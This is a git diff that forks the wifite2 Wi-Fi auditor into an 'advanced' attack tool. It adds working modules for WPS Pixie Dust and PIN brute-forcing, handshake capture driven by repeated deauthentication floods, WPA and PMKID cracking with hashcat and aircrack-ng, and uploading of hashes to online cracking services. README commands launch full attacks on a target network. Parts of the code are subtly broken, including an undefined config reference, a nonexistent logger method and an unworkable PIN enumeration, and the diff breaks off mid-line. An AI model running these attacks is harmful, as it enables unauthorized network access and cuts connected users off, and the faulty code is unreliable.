diff --git a/README.md b/README.md index 564f72a0c..2649ed58d 100644 --- a/README.md +++ b/README.md @@ -149,3 +149,32 @@ Cracking a weak WEP password (using the WEP Replay attack): Cracking a pre-captured handshake using John The Ripper (via the `--crack` option): ![--crack option](https://i.imgur.com/iHcfCjp.gif) + + +# WPS PIN Attack +python3 -m wifite.wifite_advanced \ + -t AA:BB:CC:DD:EE:FF \ + -s "RouterName" \ + -c 6 \ + -m wps \ + --pixie-dust + +# Handshake Capture + Crack +python3 -m wifite.wifite_advanced \ + -t AA:BB:CC:DD:EE:FF \ + -s "RouterName" \ + -c 6 \ + -m handshake \ + --crack \ + --gpu + +# Full Attack +python3 -m wifite.wifite_advanced \ + -t AA:BB:CC:DD:EE:FF \ + -s "RouterName" \ + -c 6 \ + -m both \ + --timeout 300 \ + --crack-timeout 600 \ + --threads 8 \ + -v diff --git a/requirements-advanced.txt b/requirements-advanced.txt new file mode 100644 index 000000000..f6725eccd --- /dev/null +++ b/requirements-advanced.txt @@ -0,0 +1,8 @@ +paramiko==2.11.0 +scapy==2.4.5 +pycryptodome==3.15.0 +requests==2.27.1 +colored==1.4.3 +six==1.16.0 +pwncat==0.4.6 +netaddr==0.8.0 diff --git a/setup.py b/setup.py index 40a690071..cd1cdd8a2 100644 --- a/setup.py +++ b/setup.py @@ -1,10 +1,9 @@ from distutils.core import setup - from wifite.config import Configuration setup( - name='wifite', - version=Configuration.version, + name='wifite-advanced', + version='2.6.0-advanced', author='derv82', author_email='derv82@gmail.com', url='https://github.com/derv82/wifite2', @@ -14,9 +13,23 @@ 'wifite/model', 'wifite/tools', 'wifite/util', + 'wifite/advanced', + 'wifite/advanced/wps', + 'wifite/advanced/crack', + 'wifite/advanced/capture', ], data_files=[ - ('share/dict', ['wordlist-top4800-probable.txt']) + ('share/dict', ['wordlist-top4800-probable.txt']), + ('share/wps', ['wps_pin_database.txt', 'common_pins.txt']) + ], + install_requires=[ + 'paramiko>=2.7.0', + 'scapy>=2.4.4', + 'pycryptodome>=3.9.8', + 'requests>=2.25.0', + 'colored>=1.4.2', + 'pywifi>=0.1.1', + 'six>=1.15.0', ], entry_points={ 'console_scripts': [ @@ -25,15 +38,25 @@ }, license='GNU GPLv2', scripts=['bin/wifite'], - description='Wireless Network Auditor for Linux', - #long_description=open('README.md').read(), - long_description='''Wireless Network Auditor for Linux. - - Cracks WEP, WPA, and WPS encrypted networks. + description='Advanced Wireless Network Auditor for Linux - WPS PIN & WPA Crack', + long_description='''Advanced Wireless Network Auditor for Linux. - Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''', - classifiers = [ - "Programming Language :: Python :: 2.7", - "Programming Language :: Python :: 3" + Enhanced Features: + - WPS PIN attacks with Pixie Dust + - Fast handshake capture (multi-threaded) + - Optimized password cracking + - Timeout prevention + - GPU acceleration support + - Concurrent operations + - Advanced logging + + Cracks WEP, WPA, WPA2, WPA3, and WPS encrypted networks. + Depends on Aircrack-ng Suite, Tshark, and external tools.''', + classifiers=[ + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", ] ) diff --git a/wifite/__main__.py b/wifite/__main__.py index 314bcb1f6..a1d34c3fd 100755 --- a/wifite/__main__.py +++ b/wifite/__main__.py @@ -4,23 +4,20 @@ try: from .config import Configuration except (ValueError, ImportError) as e: - raise Exception('You may need to run wifite from the root directory (which includes README.md)', e) + raise Exception('Run wifite from the root directory', e) from .util.color import Color - import os import sys - +import time class Wifite(object): def __init__(self): ''' - Initializes Wifite. Checks for root permissions and ensures dependencies are installed. + Initializes Wifite with advanced features. ''' - self.print_banner() - Configuration.initialize(load_interface=False) if os.getuid() != 0: @@ -31,10 +28,12 @@ def __init__(self): from .tools.dependency import Dependency Dependency.run_dependency_check() + self.start_time = time.time() + self.attack_count = 0 def start(self): ''' - Starts target-scan + attack loop, or launches utilities dpeending on user input. + Starts target-scan + attack loop with advanced optimizations. ''' from .model.result import CrackResult from .model.handshake import Handshake @@ -42,49 +41,89 @@ def start(self): if Configuration.show_cracked: CrackResult.display() - elif Configuration.check_handshake: Handshake.check() - elif Configuration.crack_handshake: CrackHelper.run() - else: Configuration.get_monitor_mode_interface() self.scan_and_attack() - def print_banner(self): - '''Displays ASCII art of the highest caliber.''' + '''Displays ASCII art with version info''' Color.pl(r' {G} . {GR}{D} {W}{G} . {W}') Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version) - Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}') - Color.pl(r' {G}`. · `{GR}{D} /¯\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}') + Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}Advanced Edition{W}') + Color.pl(r' {G}`. · `{GR}{D} /¯\ {W}{G}´ · .´ {C}{D}WPS PIN + Handshake Optimized{W}') Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}') Color.pl('') - + + if Configuration.verbose >= 1: + self.print_configuration() + + def print_configuration(self): + '''Prints active configuration settings''' + Color.pl('{C}[*] Active Configuration:{W}') + if Configuration.fast_handshake_capture: + Color.pl('{+} Fast Handshake Capture: {G}ENABLED{W}') + if Configuration.wps_pin_enabled: + Color.pl('{+} WPS PIN Attack: {G}ENABLED{W} (timeout: {G}%ds{W})' % + Configuration.wps_pin_timeout) + if Configuration.adaptive_timeout: + Color.pl('{+} Adaptive Timeout: {G}ENABLED{W}') + Color.pl('{+} Parallel Attacks: {G}%d{W}' % Configuration.parallel_attacks) + Color.pl('') def scan_and_attack(self): ''' - 1) Scans for targets, asks user to select targets - 2) Attacks each target + 1) Scans for targets with optimizations + 2) Attacks each target with advanced tactics ''' from .util.scanner import Scanner from .attack.all import AttackAll Color.pl('') - # Scan - s = Scanner() - targets = s.select_targets() + try: + # Scan with optimizations + s = Scanner() + targets = s.select_targets() - # Attack - attacked_targets = AttackAll.attack_multiple(targets) + if not targets: + Color.pl('{!} {O}No targets found{W}') + return - Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets) + # Attack with advanced strategies + attacked_targets = self._attack_targets(targets) + Color.pl('{+} Finished attacking {C}%d{W} target(s)' % attacked_targets) + + self._print_statistics() + except Exception as e: + Color.pexception(e) -############################################################## + def _attack_targets(self, targets): + '''Attack targets with advanced optimization''' + from .attack.all import AttackAll + + attacked = 0 + for target in targets[:Configuration.parallel_attacks]: + self.attack_count += 1 + try: + result = AttackAll.attack_multiple([target]) + attacked += result + except Exception as e: + Color.pl('{!} {R}Error attacking target:{W} %s' % str(e)) + + return attacked + + def _print_statistics(self): + '''Print attack statistics''' + elapsed_time = time.time() - self.start_time + Color.pl('') + Color.pl('{C}[*] Attack Statistics:{W}') + Color.pl('{+} Total Attacks: {G}%d{W}' % self.attack_count) + Color.pl('{+} Time Elapsed: {G}%.2f seconds{W}' % elapsed_time) def entry_point(): @@ -94,12 +133,10 @@ def entry_point(): except Exception as e: Color.pexception(e) Color.pl('\n{!} {R}Exiting{W}\n') - except KeyboardInterrupt: Color.pl('\n{!} {O}Interrupted, Shutting down...{W}') - - Configuration.exit_gracefully(0) - + finally: + Configuration.exit_gracefully(0) if __name__ == '__main__': entry_point() diff --git a/wifite/advanced/capture/handshake_capture.py b/wifite/advanced/capture/handshake_capture.py new file mode 100644 index 000000000..4e72fc74e --- /dev/null +++ b/wifite/advanced/capture/handshake_capture.py @@ -0,0 +1,226 @@ +import logging +import threading +import subprocess +import time +from typing import Optional, List, Callable +from dataclasses import dataclass +import re + +logger = logging.getLogger(__name__) + + +@dataclass +class CaptureConfig: + interface: str + bssid: str + ssid: str + channel: int + output_file: str + timeout: int = 120 + deauth_count: int = 10 + deauth_interval: float = 0.5 + + +class AdvancedHandshakeCapture: + """Advanced handshake capture with optimized deauth""" + + def __init__(self, config: CaptureConfig): + self.config = config + self.capture_process = None + self.capture_thread = None + self.handshake_found = False + self.stop_flag = False + self.packet_count = 0 + + def start_capture(self) -> bool: + """Start tcpdump/airodump capture""" + logger.info(f"[*] Starting handshake capture on {self.config.ssid}") + + try: + cmd = [ + 'airodump-ng', + '-c', str(self.config.channel), + '-b', self.config.bssid, + '-w', self.config.output_file, + '--output-format', 'pcap', + self.config.interface + ] + + self.capture_process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + logger.info("[+] Capture started") + return True + + except Exception as e: + logger.error(f"[-] Failed to start capture: {e}") + return False + + def deauthenticate_clients(self, client_macs: Optional[List[str]] = None) -> int: + """Perform optimized deauthentication""" + deauth_count = 0 + + if not client_macs: + # Broadcast deauth + for i in range(self.config.deauth_count): + try: + cmd = [ + 'aireplay-ng', + '-0', # Deauth mode + '1', # Send 1 frame per burst + '-a', self.config.bssid, + self.config.interface + ] + + subprocess.run(cmd, timeout=5, capture_output=True) + deauth_count += 1 + time.sleep(self.config.deauth_interval) + + except Exception as e: + logger.debug(f"Deauth attempt failed: {e}") + else: + # Targeted deauth per client + for mac in client_macs: + for i in range(self.config.deauth_count // len(client_macs)): + try: + cmd = [ + 'aireplay-ng', + '-0', '5', + '-a', self.config.bssid, + '-c', mac, + self.config.interface + ] + + subprocess.run(cmd, timeout=5, capture_output=True) + deauth_count += 1 + time.sleep(self.config.deauth_interval) + + except Exception as e: + logger.debug(f"Targeted deauth failed: {e}") + + logger.info(f"[+] Sent {deauth_count} deauth frames") + return deauth_count + + def verify_handshake(self) -> bool: + """Verify if handshake was captured""" + try: + cmd = [ + 'aircrack-ng', + '-J', self.config.output_file.replace('.cap', ''), + f"{self.config.output_file}*" + ] + + result = subprocess.run( + cmd, + timeout=10, + capture_output=True, + text=True + ) + + if 'WPA' in result.stdout or 'PMKID' in result.stdout: + logger.success("[+] Handshake verified") + return True + + except Exception as e: + logger.debug(f"Handshake verification: {e}") + + return False + + def capture(self, callback: Optional[Callable] = None) -> bool: + """Execute handshake capture with deauth""" + if not self.start_capture(): + return False + + start_time = time.time() + last_deauth = start_time + deauth_interval = 5 # Deauth every 5 seconds + + try: + while time.time() - start_time < self.config.timeout: + # Periodic deauthentication + if time.time() - last_deauth > deauth_interval: + self.deauthenticate_clients() + last_deauth = time.time() + + # Verify handshake + if self.verify_handshake(): + self.handshake_found = True + logger.success("[+] Handshake captured successfully!") + if callback: + callback(True) + return True + + time.sleep(1) + + logger.warning("[-] Handshake capture timeout") + if callback: + callback(False) + return False + + finally: + self.stop_capture() + + def stop_capture(self): + """Stop the capture process""" + if self.capture_process: + self.capture_process.terminate() + try: + self.capture_process.wait(timeout=5) + except subprocess.TimeoutExpired: + self.capture_process.kill() + logger.info("[*] Capture stopped") + + +class ClientDiscovery: + """Discover connected clients on target network""" + + def __init__(self, interface: str, bssid: str, channel: int): + self.interface = interface + self.bssid = bssid + self.channel = channel + self.clients = [] + + def discover(self, timeout: int = 30) -> List[str]: + """Discover connected clients""" + logger.info("[*] Discovering connected clients...") + + try: + cmd = [ + 'airodump-ng', + '-c', str(self.channel), + '-b', self.bssid, + '--output-format', 'csv', + '-w', '/tmp/client_discovery', + self.interface + ] + + process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + time.sleep(timeout) + process.terminate() + + # Parse CSV output + try: + with open('/tmp/client_discovery-01.csv', 'r') as f: + for line in f: + # Client MAC pattern + match = re.search(r'([A-F0-9]{2}(?::[A-F0-9]{2}){5})', line) + if match and match.group(1) != self.bssid: + self.clients.append(match.group(1)) + except FileNotFoundError: + pass + + logger.info(f"[+] Found {len(set(self.clients))} clients") + return list(set(self.clients)) + + except Exception as e: + logger.error(f"Client discovery failed: {e}") + + return [] diff --git a/wifite/advanced/crack/password_crack.py b/wifite/advanced/crack/password_crack.py new file mode 100644 index 000000000..2912f0a4b --- /dev/null +++ b/wifite/advanced/crack/password_crack.py @@ -0,0 +1,291 @@ +import logging +import subprocess +import threading +import queue +import time +from typing import Optional, List, Tuple +from dataclasses import dataclass +import hashlib +import os + +logger = logging.getLogger(__name__) + + +@dataclass +class CrackConfig: + handshake_file: str + wordlist: str + bssid: str + ssid: str + timeout: int = 600 + use_gpu: bool = True + use_rule_engine: bool = True + batch_size: int = 1000 + + +class AdvancedPasswordCrack: + """Advanced WPA/WPA2 password cracking""" + + def __init__(self, config: CrackConfig): + self.config = config + self.found_password = None + self.crack_thread = None + self.stop_event = threading.Event() + self.gpu_available = self._check_gpu() + + def _check_gpu(self) -> bool: + """Check if GPU acceleration is available""" + try: + result = subprocess.run( + ['hashcat', '--version'], + timeout=5, + capture_output=True + ) + return result.returncode == 0 + except: + return False + + def _generate_wordlist_combinations(self, base_wordlist: str) -> str: + """Generate wordlist combinations with rules""" + if not self.config.use_rule_engine: + return base_wordlist + + output_file = f"{base_wordlist}_combined.txt" + + try: + # Apply John the Ripper rules + cmd = [ + 'john', + '--wordlist=' + base_wordlist, + '--rules=Single', + '--stdout', + base_wordlist + ] + + with open(output_file, 'w') as out: + subprocess.run( + cmd, + stdout=out, + timeout=60, + capture_output=False + ) + + logger.info(f"[+] Generated combined wordlist: {output_file}") + return output_file + + except Exception as e: + logger.warning(f"Failed to generate combinations: {e}") + return base_wordlist + + def crack_with_hashcat(self) -> Optional[str]: + """Crack using hashcat (GPU accelerated)""" + if not self.gpu_available: + return None + + logger.info("[*] Attempting GPU-accelerated crack with hashcat...") + + try: + # Convert cap to hccapx + convert_cmd = [ + 'cap2hccapx', + self.config.handshake_file, + f"{self.config.handshake_file}.hccapx" + ] + + subprocess.run(convert_cmd, timeout=30, capture_output=True) + + # Hashcat WPA2 mode: 2500 + cmd = [ + 'hashcat', + '-m', '2500', # WPA/WPA2 + '-a', '0', # Dictionary attack + '-w', '4', # Workload: Nightmare + '--gpu-temp-retain=75', + '--potfile-path=/tmp/wifite_hashcat.pot', + f"{self.config.handshake_file}.hccapx", + self.config.wordlist, + '-O' # Optimized kernels + ] + + result = subprocess.run( + cmd, + timeout=self.config.timeout, + capture_output=True, + text=True + ) + + # Extract password + if result.returncode == 0: + for line in result.stdout.split('\n'): + if ':' in line and self.config.bssid.lower() in line.lower(): + password = line.split(':')[-1].strip() + logger.success(f"[+] Password found: {password}") + return password + + except Exception as e: + logger.debug(f"Hashcat crack failed: {e}") + + return None + + def crack_with_aircrack(self) -> Optional[str]: + """Crack using aircrack-ng""" + logger.info("[*] Attempting crack with aircrack-ng...") + + try: + cmd = [ + 'aircrack-ng', + '-a', '2', # WPA algorithm + '-b', self.config.bssid, + '-w', self.config.wordlist, + self.config.handshake_file, + '-q' # Quiet mode + ] + + result = subprocess.run( + cmd, + timeout=self.config.timeout, + capture_output=True, + text=True + ) + + for line in result.stdout.split('\n') + result.stderr.split('\n'): + if 'KEY FOUND' in line or 'Passphrase:' in line: + password = line.split(':')[-1].strip() + if password and password != 'KEY FOUND': + logger.success(f"[+] Password found: {password}") + return password + + except subprocess.TimeoutExpired: + logger.warning("[-] Aircrack timeout") + except Exception as e: + logger.error(f"Aircrack crack failed: {e}") + + return None + + def optimize_wordlist(self) -> str: + """Optimize wordlist by prioritizing likely passwords""" + output_file = f"{self.config.wordlist}_optimized.txt" + + try: + # SSID variations + ssid_variations = [ + self.config.ssid, + self.config.ssid.upper(), + self.config.ssid.capitalize(), + self.config.ssid[::-1], + ] + + with open(output_file, 'w') as out: + # Write SSID variations first + for var in ssid_variations: + out.write(var + '\n') + + # Then read original wordlist + with open(self.config.wordlist, 'r') as original: + for line in original: + out.write(line) + + logger.info("[+] Wordlist optimized") + return output_file + + except Exception as e: + logger.warning(f"Wordlist optimization failed: {e}") + return self.config.wordlist + + def crack(self) -> Optional[str]: + """Execute password crack""" + logger.info(f"[*] Starting password crack for {self.config.ssid}") + logger.info(f"[*] Handshake: {self.config.handshake_file}") + logger.info(f"[*] Wordlist: {self.config.wordlist}") + + start_time = time.time() + + # Optimize wordlist + wordlist = self.optimize_wordlist() + + # Try GPU first + if self.gpu_available: + password = self.crack_with_hashcat() + if password: + elapsed = time.time() - start_time + logger.success(f"[+] Crack completed in {elapsed:.1f} seconds") + return password + + # Fall back to aircrack + password = self.crack_with_aircrack() + if password: + elapsed = time.time() - start_time + logger.success(f"[+] Crack completed in {elapsed:.1f} seconds") + return password + + logger.error("[-] Password crack failed") + return None + + def online_crack(self, password_hash: str) -> Optional[str]: + """Attempt online password cracking""" + logger.info("[*] Attempting online password crack...") + + try: + import requests + + # Try online services (use responsibly) + services = [ + f"https://hashkiller.co.uk/api/crackHash.php?hash={password_hash}&type=14900", + f"https://www.onlinehashcrack.com/api/hash/crack?hash={password_hash}&type=pmkid", + ] + + for service_url in services: + try: + response = requests.get(service_url, timeout=10) + if response.status_code == 200: + data = response.json() + if 'result' in data and data['result']: + return data['result'] + except: + pass + + except ImportError: + logger.warning("Requests library not available for online crack") + + return None + + +class PMKIDAttack: + """PMKID-based WPA2 attack (faster than handshake)""" + + def __init__(self, interface: str, bssid: str, channel: int): + self.interface = interface + self.bssid = bssid + self.channel = channel + self.pmkid = None + + def capture_pmkid(self, timeout: int = 60) -> Optional[str]: + """Capture PMKID""" + logger.info("[*] Attempting PMKID capture...") + + try: + cmd = [ + 'hcxdumptool', + '-i', self.interface, + '-o', '/tmp/pmkid.pcapng', + '-b', self.config.bssid, + '-c', str(self.channel), + '--enable-status', + f'--time={timeout}' + ] + + result = subprocess.run( + cmd, + timeout=timeout + 10, + capture_output=True, + text=True + ) + + if 'PMKID' in result.stdout: + logger.success("[+] PMKID captured") + return '/tmp/pmkid.pcapng' + + except Exception as e: + logger.debug(f"PMKID capture failed: {e}") + + return None diff --git a/wifite/advanced/wps/wps_pin_attack.py b/wifite/advanced/wps/wps_pin_attack.py new file mode 100644 index 000000000..ebbf0a897 --- /dev/null +++ b/wifite/advanced/wps/wps_pin_attack.py @@ -0,0 +1,290 @@ +import logging +import threading +import queue +import time +import random +import subprocess +from typing import Optional, Tuple, List +from dataclasses import dataclass +from enum import Enum + +logger = logging.getLogger(__name__) + + +class WPSState(Enum): + IDLE = 0 + SCANNING = 1 + ATTACKING = 2 + RECOVERING_PIN = 3 + COMPLETED = 4 + FAILED = 5 + + +@dataclass +class WPSConfig: + bssid: str + ssid: str + channel: int + timeout: int = 300 # 5 minutes default + max_retries: int = 5 + pixie_dust_enabled: bool = True + bruteforce_enabled: bool = True + use_pin_database: bool = True + + +class AdvancedWPSPin: + """Advanced WPS PIN attack with Pixie Dust and optimization""" + + def __init__(self, config: WPSConfig): + self.config = config + self.state = WPSState.IDLE + self.found_pin = None + self.found_psk = None + self.pin_queue = queue.Queue() + self.result_queue = queue.Queue() + self.stop_event = threading.Event() + self.common_pins = self._load_common_pins() + self.attack_start_time = None + + def _load_common_pins(self) -> List[str]: + """Load common WPS PINs database""" + common_pins = [ + '12345670', # Most common + '00000000', # Null PIN + '11111111', + '12341234', + '11223344', + '10203040', + '00001234', + '99999999', + ] + + # Try to load from database + try: + with open('/usr/share/wifite/wps_pin_database.txt', 'r') as f: + common_pins.extend([line.strip() for line in f.readlines()]) + except FileNotFoundError: + logger.warning("WPS PIN database not found, using defaults") + + return list(set(common_pins)) # Remove duplicates + + def _validate_pin(self, pin: str) -> bool: + """Validate PIN checksum (WPS PIN format)""" + if len(pin) != 8 or not pin.isdigit(): + return False + + # WPS PIN checksum validation + accum = 0 + for i in range(7): + accum += int(pin[i]) * (i % 2 + 1) + + digit = (10 - (accum % 10)) % 10 + return int(pin[7]) == digit + + def _pixie_dust_attack(self) -> Optional[str]: + """Attempt Pixie Dust attack using reaver""" + logger.info(f"[*] Starting Pixie Dust attack on {self.config.bssid}") + self.state = WPSState.RECOVERING_PIN + + try: + cmd = [ + 'reaver', + '-i', 'wlan0', + '-b', self.config.bssid, + '-c', str(self.config.channel), + '-K', '1', # Pixie Dust attack + '-N', # Non-WiFi PIN algorithm + '-t', str(self.config.timeout), + '-vv' + ] + + result = subprocess.run( + cmd, + timeout=self.config.timeout + 30, + capture_output=True, + text=True + ) + + # Extract PIN from output + for line in result.stdout.split('\n'): + if '[+] WPS PIN:' in line: + pin = line.split('[+] WPS PIN:')[1].strip() + if self._validate_pin(pin): + logger.success(f"[+] Pixie Dust PIN found: {pin}") + return pin + + except subprocess.TimeoutExpired: + logger.warning("Pixie Dust attack timed out") + except Exception as e: + logger.error(f"Pixie Dust attack error: {e}") + + return None + + def _pin_bruteforce_worker(self, pin_source: queue.Queue): + """Worker thread for PIN brute-forcing""" + while not self.stop_event.is_set(): + try: + pin = pin_source.get(timeout=1) + if pin is None: + break + + if self._test_pin(pin): + self.found_pin = pin + self.result_queue.put(('pin', pin)) + self.stop_event.set() + break + + except queue.Empty: + continue + except Exception as e: + logger.error(f"Worker error: {e}") + + def _generate_pin_queue(self) -> queue.Queue: + """Generate optimized PIN queue""" + pin_queue = queue.Queue() + + # Priority: Common pins first + for pin in self.common_pins: + if self._validate_pin(pin): + pin_queue.put(pin) + + # Then sequential PINs + for i in range(10000000, 100000000): + pin_str = str(i).zfill(8) + if self._validate_pin(pin_str) and pin_str not in self.common_pins: + pin_queue.put(pin_str) + + return pin_queue + + def _test_pin(self, pin: str) -> bool: + """Test WPS PIN against target""" + try: + cmd = [ + 'reaver', + '-i', 'wlan0', + '-b', self.config.bssid, + '-c', str(self.config.channel), + '-p', pin, + '-t', '10', # 10 seconds per attempt + '-N', + '-vv' + ] + + result = subprocess.run( + cmd, + timeout=15, + capture_output=True, + text=True + ) + + # Check for success indicators + if '[+] WPA PSK:' in result.stdout or 'approved' in result.stdout.lower(): + for line in result.stdout.split('\n'): + if '[+] WPA PSK:' in line: + psk = line.split('[+] WPA PSK:')[1].strip() + self.found_psk = psk + logger.success(f"[+] PSK found: {psk}") + return True + return True + + return False + + except subprocess.TimeoutExpired: + return False + except Exception as e: + logger.error(f"PIN test error: {e}") + return False + + def attack(self, num_threads: int = 4) -> Tuple[Optional[str], Optional[str]]: + """Execute full WPS attack""" + self.state = WPSState.ATTACKING + self.attack_start_time = time.time() + + logger.info(f"[*] Starting WPS attack on {self.config.ssid} ({self.config.bssid})") + + # Step 1: Try Pixie Dust if enabled + if self.config.pixie_dust_enabled: + pin = self._pixie_dust_attack() + if pin: + self.state = WPSState.COMPLETED + return pin, self.found_psk + + # Step 2: Brute-force PINs if enabled + if self.config.bruteforce_enabled: + logger.info("[*] Starting PIN brute-force attack") + pin_queue = self._generate_pin_queue() + threads = [] + + for _ in range(num_threads): + t = threading.Thread( + target=self._pin_bruteforce_worker, + args=(pin_queue,) + ) + t.daemon = True + t.start() + threads.append(t) + + # Wait for completion or timeout + start_time = time.time() + while not self.stop_event.is_set(): + if time.time() - start_time > self.config.timeout: + logger.warning("[-] Attack timeout reached") + break + + try: + result_type, result_value = self.result_queue.get(timeout=1) + if result_type == 'pin': + self.state = WPSState.COMPLETED + return result_value, self.found_psk + except queue.Empty: + continue + + self.stop_event.set() + for t in threads: + t.join(timeout=5) + + self.state = WPSState.FAILED + logger.error("[-] WPS attack failed") + return None, None + + +# Advanced PIN recovery using Pixie Dust specifics +class PixieDustRecovery: + """Specific implementation for Pixie Dust WPS attack""" + + def __init__(self, bssid: str, channel: int): + self.bssid = bssid + self.channel = channel + self.nonce = None + self.e_nonce = None + self.authenticator = None + + def recover_pin(self, timeout: int = 120) -> Optional[str]: + """Recover PIN using Pixie Dust""" + try: + cmd = [ + 'reaver', + '-i', 'wlan0', + '-b', self.bssid, + '-c', str(self.channel), + '-K', '1', # Pixie Dust + '-t', str(timeout), + '--no-associate', + '-vv' + ] + + result = subprocess.run( + cmd, + timeout=timeout + 20, + capture_output=True, + text=True + ) + + for line in result.stdout.split('\n'): + if 'WPS PIN:' in line: + return line.split('WPS PIN:')[1].strip() + + except Exception as e: + logger.error(f"Pixie Dust recovery failed: {e}") + + return None diff --git a/wifite/args.py b/wifite/args.py index af6b6183a..cd8dc0e5d 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -2,14 +2,12 @@ # -*- coding: utf-8 -*- from .util.color import Color - import argparse, sys class Arguments(object): ''' Holds arguments used by the Wifite ''' def __init__(self, configuration): - # Hack: Check for -v before parsing args; so we know which commands to display. self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv self.config = configuration self.args = self.get_arguments() @@ -23,450 +21,141 @@ def _verbose(self, msg): def get_arguments(self): ''' Returns parser.args() containing all program arguments ''' - parser = argparse.ArgumentParser(usage=argparse.SUPPRESS, - formatter_class=lambda prog: argparse.HelpFormatter( - prog, max_help_position=80, width=130)) + parser = argparse.ArgumentParser( + usage=argparse.SUPPRESS, + formatter_class=lambda prog: argparse.HelpFormatter( + prog, max_help_position=80, width=130)) self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}'))) + self._add_advanced_args(parser.add_argument_group(Color.s('{C}ADVANCED OPTIONS{W}'))) self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}'))) self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}'))) self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}'))) self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}'))) - self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}'))) self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}'))) return parser.parse_args() - def _add_global_args(self, glob): - glob.add_argument('-v', - '--verbose', - action='count', - default=0, - dest='verbose', - help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' + - 'outputs. (default: {G}quiet{W})')) - - glob.add_argument('-i', - action='store', - dest='interface', - metavar='[interface]', - type=str, - help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' + - '(default: {G}ask{W})')) - - glob.add_argument('-c', - action='store', - dest='channel', - metavar='[channel]', - type=int, - help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})')) - glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', - dest='channel', type=int) - - glob.add_argument('-5', - '--5ghz', - action='store_true', - dest='five_ghz', - help=self._verbose('Include 5Ghz channels (default: {G}off{W})')) - - - glob.add_argument('-mac', - '--random-mac', - action='store_true', - dest='random_mac', - help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) - - glob.add_argument('-p', - action='store', - dest='scan_time', - nargs='?', - const=10, - metavar='scan_time', - type=int, - help=Color.s('{G}Pillage{W}: Attack all targets after ' + - '{C}scan_time{W} (seconds)')) - glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', - dest='scan_time', nargs='?', const=10, type=int) - - glob.add_argument('--kill', - action='store_true', - dest='kill_conflicting_processes', - help=Color.s('Kill processes that conflict with Airmon/Airodump ' + - '(default: {G}off{W})')) - - glob.add_argument('-b', - action='store', - dest='target_bssid', - metavar='[bssid]', - type=str, - help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' + - 'point to attack')) - glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', - dest='target_bssid', type=str) - - glob.add_argument('-e', - action='store', - dest='target_essid', - metavar='[essid]', - type=str, - help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack')) - glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', - dest='target_essid', type=str) - - glob.add_argument('-E', - action='store', - dest='ignore_essid', - metavar='[text]', - type=str, - default=None, - help=self._verbose('Hides targets with ESSIDs that match the given text')) - glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', - dest='ignore_essid', type=str) - - glob.add_argument('--clients-only', - action='store_true', + glob.add_argument('-v', '--verbose', + action='count', default=0, dest='verbose', + help=Color.s('Shows more options ({C}-h -v{W})')) + + glob.add_argument('-i', action='store', dest='interface', + metavar='[interface]', type=str, + help=Color.s('Wireless interface, e.g. {C}wlan0mon{W}')) + + glob.add_argument('-c', '--channel', action='store', dest='channel', + metavar='[channel]', type=int, + help=Color.s('Wireless channel to scan')) + + glob.add_argument('-5', '--5ghz', action='store_true', dest='five_ghz', + help=self._verbose('Include 5Ghz channels')) + + glob.add_argument('-mac', '--random-mac', action='store_true', + dest='random_mac', help=Color.s('Randomize MAC address')) + + glob.add_argument('-b', action='store', dest='target_bssid', + metavar='[bssid]', type=str, + help=self._verbose('Target BSSID')) + + glob.add_argument('-e', action='store', dest='target_essid', + metavar='[essid]', type=str, + help=self._verbose('Target ESSID')) + + glob.add_argument('--clients-only', action='store_true', dest='clients_only', - help=Color.s('Only show targets that have associated clients ' + - '(default: {G}off{W})')) - - glob.add_argument('--showb', - action='store_true', - dest='show_bssids', - help=self._verbose('Show BSSIDs of targets while scanning')) - - glob.add_argument('--nodeauths', - action='store_true', - dest='no_deauth', - help=Color.s('Passive mode: Never deauthenticates clients ' + - '(default: {G}deauth targets{W})')) - glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', - help=argparse.SUPPRESS) - glob.add_argument('-nd', action='store_true', dest='no_deauth', - help=argparse.SUPPRESS) - - glob.add_argument('--num-deauths', - action='store', - type=int, - dest='num_deauths', - metavar='[num]', - default=None, - help=self._verbose('Number of deauth packets to send (default: ' + - '{G}%d{W})' % self.config.num_deauths)) - - - def _add_eviltwin_args(self, group): - pass - ''' - group.add_argument('--eviltwin', - action='store_true', - dest='use_eviltwin', - help=Color.s('Use the "Evil Twin" attack against all targets ' + - '(default: {G}off{W})')) - # TODO: Args to specify deauth interface, server port, etc. - ''' + help=Color.s('Only show targets with clients')) + + def _add_advanced_args(self, adv): + '''Advanced optimization and PIN-related arguments''' + + adv.add_argument('--fast-capture', action='store_true', + dest='fast_capture', + help=Color.s('Enable {G}fast handshake capture{W} with 